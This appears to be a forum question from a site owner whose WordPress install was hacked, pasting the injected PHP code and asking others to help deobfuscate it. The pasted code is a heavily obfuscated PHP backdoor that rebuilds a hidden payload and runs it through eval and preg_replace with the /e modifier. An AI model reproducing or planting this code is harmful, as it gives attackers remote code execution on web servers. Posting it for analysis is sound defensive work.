Сайт WordPress взломан: не запутывать вредоносный код

Один из сайтов, которыми я управляю, был взломан посредством установки WordPress в общей среде.

Похоже, что некоторые вредоносные программы были внедрены во все файлы php на сервере. Мне удалось удалить все ссылки на код и изменил все пароли. Впоследствии я получал неудачные попытки входа в систему с IP в Украине …

 <?php

if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) and(!strstr($ua, "\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
}


?>
<?php

$vkvmlmaavg = 'zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfs%x7860%x5c%x7825}X;!sp!*#opo#>>}R%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6N}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x78x5c%x782fq%x5c%x7825>2q%x5c%x7825<#x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x6c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdo;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%xMPT7-NBFSUT%x5c%x7860LDPT7-U256]y6g]257]y86]267]y74]275]y7:]<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x78{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x780{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860825-bubE{h%x5c%x7825)sutcc%x7824]25%x5c%x7824-%x5c%x7824-!c%x7825%x5c%x787f!<X>b%x5c%x7825Z334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]27fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x78:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%c%x7825>U<#16,47R57,27R66,#%7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782*#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)y81]265]y72]254]y76]61]y33]6#]y76]277]y72]265]y39]274]y85]273]yq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%xyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7826<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]if((function_exists("%x6f%142%x5f%163%x74%141%x72%164"%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)#Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x78c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*1x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x78.973:8297f:5297e:56-%x5c%x7878r.985:c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>5!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{hx782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x825)euhA)3of>2bd%x5c%x7825!<5h%x5%x5c%x7825%x5c%x782fh%x5c%x7825)n]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x55c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-sf*#npd%x5c%x782f#)rrd%x5c%x78%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x5)!gj!~<ofmy%x5c%x7825,3,j%25>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782frx7824-%x5c%x7824*<!~!ds]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%7x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%xun>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x}%x5c%x7878;0]=])0#)U!%x5cx5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x76g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]y83]273]y76]277#<%x5c%x7825t2w>#]*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!*>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpetj{fpg)%x5c%x7825%x5c%7f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopw6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x34]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!ufs:~928>>%x5c%x7822:ftmbg39*56A:>c%x7860TW~%x5c%x7824<%x5c%x78ex5c%x787f!>>%x5c%x7822!pd%x5c%x7:55946-tr.984:75983:48984:71TW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%25-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5qmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c37]278]225]241]334]368]32mgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<*x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgQUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x78268]y7f#<!%x5c%x7825tc%x785cq%x5c%x78257%x5c%x782f7#@#7%xx7860{6~6<tfs%x5c%x7825.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x78tpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782sv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%d%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x525z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x525zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#Qw]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!7824-%x5c%x7824<%x5c%x7825j,,*!|%x5%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutj3]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825mfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R2ov{h19275j{hnpd19275fub%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfbqov>*ofmy%x5c%x7825)utjm!|!*5!%x525s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>27-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6FOJ%x5c%x7860GB)fubfsdXA%x5c%452]88]5]48]32M3]317]445]212]445]fmji%x5c%x7878:<##:>:h%x5c%x724!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]760hA%x5c%x7827pd%x5c%x782%x5c%x7825-#+I#)q%x5c%x7825:vt)fubmgoj{hA!osvufs!~<3,j%x5c%x_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x78605)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0x787f%x5c%x787f%x5c%x787F.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ld2]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x78825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x786%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]6f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ft4-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=turn chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2f%50%]281Ld]245]K2]285]Ke]525cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x782%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x58]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6}.;%x5c%x7860UQPMSVD!-id%x5))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){re25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x74+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x78c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uc%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>%x5c%x7825!|!*)323zbek!~!<b%x5#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%825:<#64y]552]e7y]#>n%x5c%x7825<#37224Ypp3)%x5c%x7825cB%x5c%x7825igj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpd]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%y74]273]y76]252]y85]c%x7825%x5c%x782f#0#%x5c%x782e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,54]y76#<%x5c%x7825tmw!>!#]y84]27525c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x78hmg%x5c%x7825!<12>j%x5c%x782#-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]3", NULL); }4%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%14252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]yx785cq%x5c%x7825%x5c%x7827j>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x78608]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}Ux787f;!opjudovg}k~~9{d%x5c%x7825:osv*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;uA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]2]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6!2p%x5c%x7825!*3>?*2b%x5c%x7825)7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cdc%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x78=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x786x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP56%152%x66%147%x67%42%x2c%163%x73Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj65,d7R17,67R37,#%x5c%x782fq%x556<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x7825x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>76]277]y72]265]y39]271]y83]256]y78]248]y83]256]25}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)x7825!osvufs!*!+A!>!<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%))1%x5c%x782f35.)1%x5c%x782f12]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6ww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5cc%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#Kc%x7825!*9!%x5c%x7827!hmg%x5c%x782yfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!5r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%) && (!isset($GLOBALS["%x61%156%x75%156%x61"])5c%x782f7^#iubq#%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u25%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<43]321]464]284]364]6]2/(.*)/epreg_replacekjfgnktllk';
$acpbcdcqwr = explode(chr((169 - 125)), '1655,54,9690,46,6518,63,6253,65,7910,69,223,49,8581,31,7446,62,6068,59,6431,60,9241,70,1801,68,5545,25,8758,56,1605,50,8661,68,9867,70,85,41,7979,55,4228,45,9814,53,1709,36,806,52,417,28,5389,29,3938,67,2879,51,2355,66,4132,36,9736,21,7559,27,4273,58,1137,70,2795,43,8459,54,768,38,4005,39,8034,63,4168,23,3430,64,1909,54,5334,55,477,53,10029,55,4191,37,3375,55,4401,43,8915,56,6491,27,6844,56,9624,66,3661,32,6000,68,6581,43,858,25,5598,32,4686,47,7049,61,595,46,3791,36,9484,34,2630,27,5870,69,5243,34,272,37,2066,47,7350,28,2113,63,4884,44,1490,56,8814,54,8195,32,7685,32,2956,57,2228,33,7206,29,2551,29,641,41,7235,38,7847,63,7586,44,2838,41,3097,55,1305,59,0,52,1427,63,8227,41,3304,49,5630,35,4044,67,4444,22,6900,30,916,33,8991,61,6784,60,9518,51,9355,64,52,33,354,63,2421,68,7811,36,3597,34,7110,40,5136,23,3895,43,1077,60,9982,47,8971,20,530,65,5780,24,6127,60,5075,61,8729,29,1207,28,188,35,309,45,5804,66,7771,40,3220,30,3250,54,2930,26,8368,40,1869,40,5731,49,4802,47,1392,35,3013,50,8097,62,7273,33,3063,34,7186,20,445,32,4111,21,9311,44,732,36,2657,69,2261,33,5570,28,3152,68,5451,29,6983,36,2294,61,1235,70,5665,66,949,58,4928,53,883,33,9052,47,1963,67,9937,45,5159,38,5197,46,3827,43,2580,50,4849,35,1546,59,6187,66,3353,22,2726,23,1007,70,5480,65,5939,61,7019,30,126,62,7306,44,6340,43,9569,55,9183,58,4584,65,3721,70,9757,57,4466,63,2489,62,2030,36,4733,69,3693,28,7150,36,8513,68,8159,36,682,50,4649,37,6318,22,8612,49,7717,54,1745,56,7378,56,3870,25,9128,55,5418,33,10084,22,3494,66,9099,29,6624,59,5033,42,4981,52,8307,61,8268,39,5277,57,3560,37,4331,70,8408,51,6731,53,4529,55,3631,30,6383,48,9419,65,6930,53,2176,52,6683,48,7508,51,8868,47,1364,28,7630,55,2749,46,7434,12');
$krdnhuyxrk = substr($vkvmlmaavg, (38379 - 28273), (35 - 28));
if (!function_exists('bvbkmkuetp'))
{
function bvbkmkuetp($lkmdhuzumr, $syqugkbwaa)
{
$wkmwfztjxy = NULL;
for ($wpopdgyvwt = 0; $wpopdgyvwt < (sizeof($lkmdhuzumr) / 2); $wpopdgyvwt++)
{
$wkmwfztjxy. = substr($syqugkbwaa, $lkmdhuzumr[($wpopdgyvwt * 2)], $lkmdhuzumr[($wpopdgyvwt * 2) + 1]);
}
return $wkmwfztjxy;
};
}
$knticqyoeu = "\x20\57\x2a\40\x62\170\x71\151\x75\171\x62\146\x6d\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x36\55\x31\66\x39\51\x29\54\x20\143\x68\162\x28\50\x35\71\x30\55\x34\71\x38\51\x29\54\x20\142\x76\142\x6b\155\x6b\165\x65\164\x70\50\x24\141\x63\160\x62\143\x64\143\x71\167\x72\54\x24\166\x6b\166\x6d\154\x6d\141\x61\166\x67\51\x29\51\x3b\40\x2f\52\x20\167\x68\156\x75\164\x6c\152\x78\153\x70\40\x2a\57\x20";
$lrykfpczcb = substr($vkvmlmaavg, (55025 - 44912), (61 - 49));
$lrykfpczcb($krdnhuyxrk, $knticqyoeu, NULL);
$lrykfpczcb = $knticqyoeu;
$lrykfpczcb = (376 - 255);
$vkvmlmaavg = $lrykfpczcb - 1;
?>

У меня вопрос, что делает этот код? Я пробовал довольно много инструментов для запутывания, но это безрезультатно. Кто-нибудь может помочь расшифровать это?